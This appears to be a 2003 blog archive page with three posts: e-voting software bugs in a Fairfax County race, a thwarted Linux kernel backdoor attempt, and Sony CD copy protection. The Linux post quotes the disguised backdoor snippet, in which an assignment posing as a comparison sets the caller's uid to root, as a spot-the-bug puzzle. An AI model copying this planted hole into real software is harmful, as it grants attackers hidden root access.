March 24, 2018

Archives for November 2003

Flaky Voting Technology

Opponents of unauditable e-voting technology often talk about the threat of fraud. They worry that somebody will compromise a voting machine or will corrupt the machines’ software, to steal an election. We should worry about fraud. But just as important, and more likely, is the possibility that software bugs will cause a miscount that gives an election to the wrong candidate.

This may be what happened two weeks ago in a school board race in Fairfax County, Virginia. David Cho at the Washington Post reports :

School Board member Rita S. Thompson (R), who lost a close race to retain her at-large seat, said yesterday that the new computers might have taken votes from her. Voters in three precincts reported that when they attempted to vote for her, the machines initially displayed an “x” next to her name but then, after a few seconds, the “x” disappeared.

In response to Thompson’s complaints, county officials tested one of the machines in question yesterday and discovered that it seemed to subtract a vote for Thompson in about “one out of a hundred tries,” said Margaret K. Luca, secretary of the county Board of Elections.

“It’s hard not to think that I have been robbed,” said Thompson, whose 77,796 recorded votes left her 1,662 shy of reelection. She is considering her next step, and said she was wary of challenging the election results: “I’m not sure the county as a whole is up for that. I’m not sure I’m up for that.”

And how do we know the cause was a bug, rather than fraud? Because the error was visible to voters. If this had been fraud, the “X” on the screen would never have disappeared – but the vote would have been given, silently, to the wrong candidate.

You could hardly construct a better textbook illustration of the importance of having a voter-verifiable paper trail. The paper trail would have helped voters notice the disappearance of their votes, and it would have provided a reliable record to consult in a later recount. As it is, we’ll never know who really won the election.

Linux Backdoor Attempt Thwarted reports that somebody tried last week to sneak a snippet of malicious code into the Linux kernel’s source code, to create a backdoor that could be exploited later to seize control of Linux machines. Fortunately, members of the software development team spotted the problem the next day and removed the offending code.

The malicious code snippet was small but it was constructed cleverly, so that most programmers would miss the problem on casual reading of the code.

This incident illuminates an interesting debate on the security tradeoffs between open-source and proprietary code. Opponents of open-source argue that the open development process makes it easier for a badguy to inject malicious code. Fans of open-source argue that open code makes it easier for the good guys to spot problems. Both groups can find some support in this story, in which an unknown person did inject malicious code, and open-source devleopers did read the code and spot the problem.

What we don’t know is how often this sort of thing happens in proprietary software development. There must be some attempts to insert malicious code, given the amount of money at stake and the sheer number of people who have the opportunity to try inserting a backdoor. But we don’t know how many people try, or how quickly they are caught.

[Technogeek readers: The offending code is below. Can you spot the problem?

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

New Sony CD-DRM Technology Upcoming

Reuters reports that a new CD copy-protection technology from Sony debuted yesterday in Germany, on a recording by the group Naturally Seven. Does anybody know how I can get a copy of this CD?

UPDATE (12:30 PM): Thanks to Joe Barillari and Scott Ananian for pointing me to, where I ordered the CD. (At least I think I did; my German is pretty poor.)